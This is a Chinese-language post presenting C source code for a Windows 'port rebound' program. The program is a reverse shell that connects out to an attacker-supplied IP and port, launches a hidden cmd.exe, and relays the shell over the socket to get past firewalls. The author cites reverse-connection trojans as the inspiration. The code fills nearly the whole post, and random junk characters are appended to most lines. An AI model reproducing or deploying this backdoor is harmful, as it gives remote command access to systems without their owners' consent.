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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Us-A+)r*!  
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/* ============================== 6IP$n($2  
Rebound port in Windows NT !5UfWk\G  
By wind,2006/7 }lP5 GT2  
===============================*/ 9P.(^SD][z  
#include RqLNp?V%  
#include 8QF2^*RZ7z  
*QH[,F`I  
#pragma comment(lib,"wsock32.lib") M3(k'q7&:  
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void OutputShell(); NR4Jn?l{  
SOCKET sClient; s<&[\U  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; SY1GR n  
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void main(int argc,char **argv) O-PdM`mqW  
{ *vnXlV4L  
WSADATA stWsaData; Z^# ]#f  
int nRet; ^VI,C|  
SOCKADDR_IN stSaiClient,stSaiServer; XlkGjjW#/J  
bRPO:lAy  
if(argc != 3) =nU/ [T.  
{ !;dSC<   
printf("Useage:\n\rRebound DestIP DestPort\n"); R#qI( V  
return; eOnT W4  
} .X `C^z]+  
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WSAStartup(MAKEWORD(2,2),&stWsaData); 5/M ED}9C(  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); [U.v:tR   
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stSaiClient.sin_family = AF_INET; 6Cc7ejt|u  
stSaiClient.sin_port = htons(0); DMZ`Sx  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); MEq"}zrh  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) )~ z Z'^  
{ L.B~ax.|Z  
printf("Bind Socket Failed!\n"); ll<mE,  
return; |0 !I5|<k  
} <o0~H  
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stSaiServer.sin_family = AF_INET; [X/(D9J  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); tln1eN((q  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 6OB",  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) vM4<d>  
{ 64U6C*w+  
printf("Connect Error!"); >85zQ 1aL  
return; ?QpNjsF  
} HY)ESU !  
OutputShell(); mqFq_UX/ T  
} ;&f1vi4  
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void OutputShell() K]fpGo  
{ SDBt @=Nl  
char szBuff[1024]; BQjGv?p0s  
SECURITY_ATTRIBUTES stSecurityAttributes; `;F2n2@  
OSVERSIONINFO stOsversionInfo; Fr5 Xp  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 3z[ $4L'.  
STARTUPINFO stStartupInfo; @`|)Ia<  
char *szShell; Q2s&L]L=  
PROCESS_INFORMATION stProcessInformation; c tI{^f:  
unsigned long lBytesRead; uZ(? >  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); w%xCTeK[  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); m 22wF>9  
stSecurityAttributes.lpSecurityDescriptor = 0; AyVrk 8G  
stSecurityAttributes.bInheritHandle = TRUE; !wh&>3~  
'fY9a(Xt.  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ({[,$dEa;  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); #I%s 3  
WY>Knp=  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); M"wue*&  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Q~Ea8UT. #  
stStartupInfo.wShowWindow = SW_HIDE; nvyB/  
stStartupInfo.hStdInput = hReadPipe; 8;n_TMb  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 6E^~n  
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GetVersionEx(&stOsversionInfo); QUOKThY?  
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switch(stOsversionInfo.dwPlatformId) l [%lE  
{ (E!!pz  
case 1: Z'M`}3O  
szShell = "command.com"; 5DFZ^~  
break; &Lt@} 7$8  
default: C2/}d? bki  
szShell = "cmd.exe"; h6M;0_'  
break; \Tm}mAvK/o  
} SY _='9U  
&s VadOBQ  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); KCtX $XGL  
&; >4N"]  
send(sClient,szMsg,77,0); BSzkW}3q9  
while(1) qO()w   
{ {-WTV"L5*2  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); lhPGE_\  
if(lBytesRead) C1fyV]  
{ li/aN  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); @8gEH+r  
send(sClient,szBuff,lBytesRead,0); LwdV3vb#  
} 5 Op_*N{V  
else 3!#/k+,C  
{ w~+aW(2  
lBytesRead=recv(sClient,szBuff,1024,0); LP<<'(l`  
if(lBytesRead<=0) break; wahZK~,EaY  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); $[(d X!]F  
} Ijedo/  
} #n7Yr,|Z  
n1J]p#nCa.  
return; Pil;/t)"  
}
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